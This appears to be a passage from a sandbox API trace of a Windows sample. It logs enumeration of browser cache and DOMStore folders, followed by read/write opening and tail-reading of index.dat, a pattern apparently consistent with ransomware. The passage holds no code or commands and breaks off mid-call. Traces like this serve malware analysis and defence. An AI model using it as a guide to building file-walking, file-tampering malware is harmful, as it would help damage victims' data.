ftLastAccessTime.dwLowDateTime=0xec3c5340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xb16257a0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x188, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8828F39C7C0CE9A14B25C7EB321181BA_3DF94EB797096674F7793A562A778C5F", cAlternateFileName="8828F3~1")) returned 1 [0119.210] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8828F39C7C0CE9A14B25C7EB321181BA_3DF94EB797096674F7793A562A778C5F") returned="" [0119.210] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x8064ac00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x8064ac00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x80670d60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x188, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8828F39C7C0CE9A14B25C7EB321181BA_C6EF73E4482B2588B1252D1A64B99416", cAlternateFileName="8828F3~2")) returned 1 [0119.210] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8828F39C7C0CE9A14B25C7EB321181BA_C6EF73E4482B2588B1252D1A64B99416") returned="" [0119.210] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x6aa2c0a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6aa2c0a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xadf19ae0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x196, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8E4E510F44A56B8C8ECFEC352907C373_411140098D71F028134E9B8A21255C61", cAlternateFileName="8E4E51~1")) returned 1 [0119.210] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8E4E510F44A56B8C8ECFEC352907C373_411140098D71F028134E9B8A21255C61") returned="" [0119.210] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x28dbdd20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28dbdd20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xbf0dd70, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x156, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="94308059B57B3142E455B38A6EB92015", cAlternateFileName="943080~1")) returned 1 [0119.210] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\94308059B57B3142E455B38A6EB92015") returned="" [0119.210] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x6a83cec0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a83cec0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xaebe5120, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x194, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="955CAB6FF6A24D5820D50B5BA1CF79C7_AD9E7615297A3A83320AACE5801A04F9", cAlternateFileName="955CAB~1")) returned 1 [0119.210] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\955CAB6FF6A24D5820D50B5BA1CF79C7_AD9E7615297A3A83320AACE5801A04F9") returned="" [0119.210] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf3f73d0, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf3f73d0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf3f73d0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x186, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="9BC2FFC5D9591E1BD3545230E9B7CC36_CF30943571F9BEE96C487B2D9F0436E6", cAlternateFileName="9BC2FF~1")) returned 1 [0119.211] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\9BC2FFC5D9591E1BD3545230E9B7CC36_CF30943571F9BEE96C487B2D9F0436E6") returned="" [0119.211] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xe06277d0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe06277d0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xb15d94e0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x182, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="9C888BEABCCBC2A97B0D6D9214C3BA37_1213DC6F71E4C3B05E7BCEEBC203A31E", cAlternateFileName="9C888B~1")) returned 1 [0119.211] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\9C888BEABCCBC2A97B0D6D9214C3BA37_1213DC6F71E4C3B05E7BCEEBC203A31E") returned="" [0119.211] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xe07ca6f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe07ca6f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0x965accc0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x182, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="9C888BEABCCBC2A97B0D6D9214C3BA37_EBC75728C6119A77E4DA8559DD10F061", cAlternateFileName="9C888B~2")) returned 1 [0119.211] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\9C888BEABCCBC2A97B0D6D9214C3BA37_EBC75728C6119A77E4DA8559DD10F061") returned="" [0119.211] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x54bc3730, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54bc3730, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb11d4fc0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x1ae, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="A9E4F776657345B52012CE8E279D314C_183A5BE0B233CC1D513955FABECF9450", cAlternateFileName="A9E4F7~1")) returned 1 [0119.211] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\A9E4F776657345B52012CE8E279D314C_183A5BE0B233CC1D513955FABECF9450") returned="" [0119.211] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x53bfe570, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x53bfe570, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbe9b34f0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x1ec, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ACF244F1A10D4DBED0D88EBA0C43A9B5_BA1AB6C2BDFDF57799E8116E4002D001", cAlternateFileName="ACF244~1")) returned 1 [0119.211] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\ACF244F1A10D4DBED0D88EBA0C43A9B5_BA1AB6C2BDFDF57799E8116E4002D001") returned="" [0119.211] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xe04aaa10, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe04aaa10, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xae4e7080, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x1a0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="B3BB9C1BA2D19E090AE305B2683903A0_6F0A84CE2BA99BD19D42C92610275852", cAlternateFileName="B3BB9C~2")) returned 1 [0119.211] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\B3BB9C1BA2D19E090AE305B2683903A0_6F0A84CE2BA99BD19D42C92610275852") returned="" [0119.212] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xefc01b00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xefc01b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xaa4ee1e0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x1a0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="B3BB9C1BA2D19E090AE305B2683903A0_B89A63AC6877BD1ED812438CE82C3EB8", cAlternateFileName="B3BB9C~1")) returned 1 [0119.212] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\B3BB9C1BA2D19E090AE305B2683903A0_B89A63AC6877BD1ED812438CE82C3EB8") returned="" [0119.212] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x54322770, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54322770, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbf019010, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x204, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BC570EC0DE58335AFAF92FDC8E3AA330_6CE6E578B5C8485B4BE3C4D58E12F150", cAlternateFileName="BC570E~2")) returned 1 [0119.212] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\BC570EC0DE58335AFAF92FDC8E3AA330_6CE6E578B5C8485B4BE3C4D58E12F150") returned="" [0119.212] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x540c1170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x540c1170, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbf019010, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x204, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BC570EC0DE58335AFAF92FDC8E3AA330_F4D449CA9E0EACCFE15946F8FCD349FC", cAlternateFileName="BC570E~1")) returned 1 [0119.212] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\BC570EC0DE58335AFAF92FDC8E3AA330_F4D449CA9E0EACCFE15946F8FCD349FC") returned="" [0119.212] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x56bb3b80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x56bb3b80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xaeca3800, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x192, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="C46E7B0F942663A1EDC8D9D6D7869173_42820CDFEA41DC84AAB89A6B63561873", cAlternateFileName="C46E7B~2")) returned 1 [0119.212] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\C46E7B0F942663A1EDC8D9D6D7869173_42820CDFEA41DC84AAB89A6B63561873") returned="" [0119.212] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x682fbd00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x682fbd00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xae0bca00, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x18e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="C46E7B0F942663A1EDC8D9D6D7869173_6043FC604A395E1485AF7AC16D16B7CE", cAlternateFileName="C46E7B~3")) returned 1 [0119.212] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\C46E7B0F942663A1EDC8D9D6D7869173_6043FC604A395E1485AF7AC16D16B7CE") returned="" [0119.212] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x5461c2f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5461c2f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbf67eb30, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x18e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="C46E7B0F942663A1EDC8D9D6D7869173_D9B9F37ECE595B0B7B6AA12451D392CF", cAlternateFileName="C46E7B~1")) returned 1 [0119.212] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\C46E7B0F942663A1EDC8D9D6D7869173_D9B9F37ECE595B0B7B6AA12451D392CF") returned="" [0119.212] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x728c68a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x728c68a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xae63dce0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x194, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="D47DBD2F9E3365FBBE008D71FB06716F_4DD1053BCC726DA41115FFF4C7D6E9CC", cAlternateFileName="D47DBD~2")) returned 1 [0119.212] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\D47DBD2F9E3365FBBE008D71FB06716F_4DD1053BCC726DA41115FFF4C7D6E9CC") returned="" [0119.212] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x545f6190, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x545f6190, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x69b6e1e0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x198, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="D47DBD2F9E3365FBBE008D71FB06716F_D33192D58AA9CA2B9097E848E9FE86DE", cAlternateFileName="D47DBD~1")) returned 1 [0119.212] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\D47DBD2F9E3365FBBE008D71FB06716F_D33192D58AA9CA2B9097E848E9FE86DE") returned="" [0119.212] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x808d4a70, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x808d4a70, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x808d4a70, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1a4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="D52C56D8F24BEC96604372AFBAF264E1_E76A2B627DD019EB51D9335F24B14C2C", cAlternateFileName="D52C56~1")) returned 1 [0119.212] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\D52C56D8F24BEC96604372AFBAF264E1_E76A2B627DD019EB51D9335F24B14C2C") returned="" [0119.212] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x683e0540, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x683e0540, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb0f015a0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x18e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="EA618097E393409AFA316F0F87E2C202_827C1B837652B048C4C84237D0838585", cAlternateFileName="EA6180~1")) returned 1 [0119.212] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\EA618097E393409AFA316F0F87E2C202_827C1B837652B048C4C84237D0838585") returned="" [0119.212] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf312b90, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf312b90, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf312b90, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x1a0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="F293AEAD5E84FACFB686C4A620718928_C8424A0B24A72939B13720D0C000C9C1", cAlternateFileName="F293AE~1")) returned 1 [0119.213] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\F293AEAD5E84FACFB686C4A620718928_C8424A0B24A72939B13720D0C000C9C1") returned="" [0119.213] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedbebcc0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xa989d730, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0xfc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="F90F18257CBB4D84216AC1E1F3BB2C76", cAlternateFileName="F90F18~1")) returned 1 [0119.213] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\F90F18257CBB4D84216AC1E1F3BB2C76") returned="" [0119.213] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedbebcc0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xa989d730, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0xfc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="F90F18257CBB4D84216AC1E1F3BB2C76", cAlternateFileName="F90F18~1")) returned 0 [0119.213] FindClose (in: hFindFile=0x39836e0 | out: hFindFile=0x39836e0) returned 1 [0119.214] PeekMessageW (in: lpMsg=0x405ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405ff08) returned 0 [0119.214] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0119.214] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\") returned="DOMStore\\" [0119.214] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\") returned="Internet Explorer\\" [0119.214] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\") returned="Microsoft\\" [0119.214] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0119.214] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0119.214] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0119.214] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0119.214] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0119.214] PathFindFileNameW (pszPath="") returned="" [0119.214] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x510b3550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x510b3550, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x39836e0 [0119.215] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x510b3550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x510b3550, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0119.215] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54b05050, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54b05050, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="36USA68T", cAlternateFileName="")) returned 1 [0119.215] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x605dd8a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x605dd8a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="3O75JDME", cAlternateFileName="")) returned 1 [0119.215] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x510b3550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbaf619f0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="index.dat", cAlternateFileName="")) returned 1 [0119.215] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\index.dat") returned=".dat" [0119.215] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\index.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\index.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0119.216] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=32768) returned 1 [0119.216] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0119.218] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x7fda, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.218] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0119.219] SetFilePointer (in: hFile=0x610, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0119.219] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, 